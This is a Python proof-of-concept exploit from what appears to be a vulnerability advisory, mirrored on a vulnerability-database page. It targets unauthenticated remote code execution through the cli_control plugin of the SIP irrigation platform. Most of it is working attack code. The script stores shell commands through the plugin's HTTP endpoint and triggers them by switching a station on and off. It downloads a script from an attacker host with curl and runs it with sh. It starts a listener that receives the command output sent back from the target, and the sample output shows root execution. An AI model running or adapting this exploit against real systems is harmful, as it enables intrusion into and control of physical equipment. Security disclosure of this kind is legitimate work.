<html><body><p>#!/usr/bin/env python3
#
#
# SIP Sustainable Irrigation Platform 5.x (cli_control) Remote Code Execution
#
#
# Vendor: Dan-in-CA
# Product web page: https://github.com/Dan-in-CA/SIP
# Affected version: 5.2.16
#
# Summary: SIP is a free Raspberry Pi based Python program for
# controlling irrigation systems (sprinkler, drip, hydroponic,
# etc). It uses web technology to provide an intuitive user
# interface (UI) in several languages. The UI can be accessed
# in your favorite browser on desktop, laptop, and mobile devices.
# SIP has also been used to control pumps, lights, and other Irrigation
# related equipment.
#
# Desc: SIP executes user-configured operating-system commands
# when an irrigation station changes state, if the optional cli_control
# plugin is installed and enabled. This can be exploited to run
# arbitrary commands on the affected host by storing a command
# through the plugin's HTTP endpoint and then activating the associated
# station. When the optional passphrase is not enabled (factory
# default) both steps require no authentication, and where the
# passphrase is enabled it defaults to 'opendoor' and the same
# result is reachable through cross-site request forgery.
#
# -------------------------------------------------------------------------
# $ python sip_rce.py 192.168.1.9 192.168.2.33 9000 "id ; uname -a"
# === SIP cli_control RCE PoC :: TARGET=http://192.168.1.9 ATTACKER=192.168.2.33:9000 ===
# [*] cli_control present (/clicj -> HTTP 200)
# [*] con0 = curl http://192.168.2.33:9000/x.sh -o /tmp/.sipx
# [*] coff0 = sh /tmp/.sipx
# [*] serving /x.sh (91 bytes); shell output -> /out
# 1) save (/clicu) -> HTTP 303 (Location: http://192.168.1.9/restart)
# 2) manual mode (/cv?mm=1) -> HTTP 303
# 3) station 0 ON (/sn) -> con0 fires (HTTP 303)
# 3b) station 0 OFF (/sn) -> coff0 fires (HTTP 303)
# 4) waiting for the timing loop to actuate + run the command(s) ...
#
# [+] RCE successful -- cli_control executed your command(s); inbound on our listener:
# 2026-07-02T23:20:01.194422 GET /x.sh from=192.168.1.9 ua='curl/7.74.0'
# 2026-07-02T23:20:05.411800 POST /out from=192.168.1.9 ua='curl/7.74.0'
# body[125 bytes]=
#
# uid=0(root) gid=0(root) groups=0(root)
# Linux sip 6.1.21-v8+ #1642 SMP PREEMPT Mon Apr 3 17:24:16 BST 2023 aarch64 GNU/Linux
#
#
# Done.
#
# -------------------------------------------------------------------------
#
# Tested on: Debian GNU/Linux 11 (bullseye) raspberrypi 6.1.21+ (armv6l/aarch64)
# Python 3.9.2
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2026-5999
# Advisory URL: https://www.zeroscience.mk/#/advisories/ZSL-2026-5999
#
#
# 24.06.2026
#
from http.server import BaseHTTPRequestHandler, HTTPServer
import urllib.parse
import http.client
import threading
import datetime
import time
import ssl
import sys
def ban():
print("""
. . . . . .
. . .
. . .
. . .""")
if len(sys.argv) < 3:
ban()
print("usage: python sip_rce.py <target> <attacker> [aport] [command]\n"
" <target> SIP ip/host or ip/host:port (http:// or https:// optional)\n"
" <attacker> ip/host phone home\n"
" [aport] local listener port (default 9000)\n"
" [command] run this with a shell on the target and exfil its output;\n"
" omit for a simple curl canary that just proves execution\n"
"example:\n"
" python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000\n"
" python sip_rce.py 2.2.2.2:8083 7.7.7.7 9000 \"id; uname -a; cat /home/pi/SIP/data/sd.json\"")
sys.exit(1)
TARGET = sys.argv[1]
ATTACKER = sys.argv[2]
APORT = int(sys.argv[3]) if len(sys.argv) > 3 else 9000
SHELL = sys.argv[4] if len(sys.argv) > 4 else None
SCHEME = "http"
if TARGET.startswith("https://"): SCHEME, TARGET = "https", TARGET[8:]
elif TARGET.startswith("http://"): SCHEME, TARGET = "http", TARGET[7:]
TARGET = TARGET.strip("/")
STATIONS = 16
MARK = "clic-zsl-rce-%d" % int(time.time())
HITS = []
SCRIPT = None
class Handler(BaseHTTPRequestHandler):
def _go(self, m):
n = int(self.headers.get("Content-Length", 0) or 0)
body = self.rfile.read(n).decode("utf-8", "replace") if n else ""
line = "%s %s %s from=%s ua=%r" % (datetime.datetime.now().isoformat(), m, self.path,
self.client_address[0], self.headers.get("User-Agent", ""))
if body: # cmd output, oob
line += "\n body[%d bytes]=\n\n%s" % (len(body), body[:4000])
HITS.append(line)
data = SCRIPT if (m == "GET" and SCRIPT is not None and self.path.split("?")[0] == "/x.sh") else b"ok"
self.send_response(200); self.send_header("Content-Length", str(len(data))); self.end_headers(); self.wfile.write(data)
def do_GET(self): self._go("GET")
def do_POST(self): self._go("POST")
def log_message(self, *a): pass
def listen(port):
try:
srv = HTTPServer(("0.0.0.0", port), Handler)
except OSError as e:
raise SystemExit("[!] cannot bind 0.0.0.0:%d - %s" % (port, e))
threading.Thread(target=srv.serve_forever, daemon=True).start()
def req(method, path):
host, _, port = TARGET.partition(":")
port = int(port) if port else (443 if SCHEME == "https" else 80)
if SCHEME == "https":
c = http.client.HTTPSConnection(host, port, timeout=15, context=ssl._create_unverified_context())
else:
c = http.client.HTTPConnection(host, port, timeout=15)
c.request(method, path)
r = c.getresponse(); body = r.read(); loc = r.getheader("Location", ""); c.close()
return r.status, loc, body
def main():
global SCRIPT
base = "%s://%s" % (SCHEME, TARGET)
print("=== SIP cli_control RCE PoC :: TARGET=%s ATTACKER=%s:%d ===" % (base, ATTACKER, APORT))
# Check cli_control
s, loc, body = req("GET", "/clicj")
if s == 404:
raise SystemExit("[!] /clicj -> 404 : cli_control plugin not installed/enabled on target.")
if s in (302, 303) and "login" in loc.lower():
raise SystemExit("[!] /clicj -> redirect to login : a passphrase is set (upas=1). This PoC is unauth case.")
print("[*] cli_control present (/clicj -> HTTP %d)" % s)
if SHELL:
SCRIPT = ("#!/bin/sh\n( %s ) 2>&1 | curl -s --data-binary @- %s://%s:%d/out\n"
% (SHELL, SCHEME, ATTACKER, APORT)).encode()
con0 = "curl %s://%s:%d/x.sh -o /tmp/.sipx" % (SCHEME, ATTACKER, APORT)
coff0 = "sh /tmp/.sipx"
else:
con0 = "curl %s://%s:%d/%s" % (SCHEME, ATTACKER, APORT, MARK)
coff0 = None
listen(APORT)
print("[*] con0 = %s" % con0)
if coff0: print("[*] coff0 = %s" % coff0)
if SCRIPT: print("[*] serving /x.sh (%d bytes); shell output -> /out" % len(SCRIPT))
params = ["con0=" + urllib.parse.quote(con0, safe="")]
params += ["con%d=" % i for i in range(1, STATIONS)]
params += ["coff0=" + urllib.parse.quote(coff0 or "", safe="")]
params += ["coff%d=" % i for i in range(1, STATIONS)]
s, loc, _ = req("GET", "/clicu?" + "&".join(params))
print(" 1) save (/clicu) -> HTTP %d (Location: %s)" % (s, loc or "-"))
if s in (302, 303) and "login" in loc.lower():
raise SystemExit("[!] /clicu redirected to login -> passphrase is set - not unauth.")
s, _, _ = req("GET", "/cv?mm=1"); print(" 2) manual mode (/cv?mm=1) -> HTTP %d" % s)
s, _, _ = req("GET", "/sn?sid=1&set_to=1"); print(" 3) station 0 ON (/sn) -> con0 fires (HTTP %d)" % s)
if coff0:
time.sleep(3)
s, _, _ = req("GET", "/sn?sid=1&set_to=0"); print(" 3b) station 0 OFF (/sn) -> coff0 fires (HTTP %d)" % s)
custom = bool(coff0 or SCRIPT)
print(" 4) waiting for the timing loop to actuate + run the command(s) ...")
sel = lambda: HITS if custom else [h for h in HITS if MARK in h]
for _ in range(10):
time.sleep(1)
if sel() and not coff0: break
hits = sel()
if hits:
print("\n[+] RCE successful -- cli_control executed your command(s); inbound on our listener:")
for h in hits: print(" " + h)
else:
print("\n[-] no callback to our listener. checklist: %s:%d reachable from target? binaries present "
"(curl/sh)? station 0 energized (system enabled, not rain-delayed)?" % (ATTACKER, APORT))
print("\nDone.")
if __name__ == "__main__":
main()
</attacker></target></attacker></target></p></body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation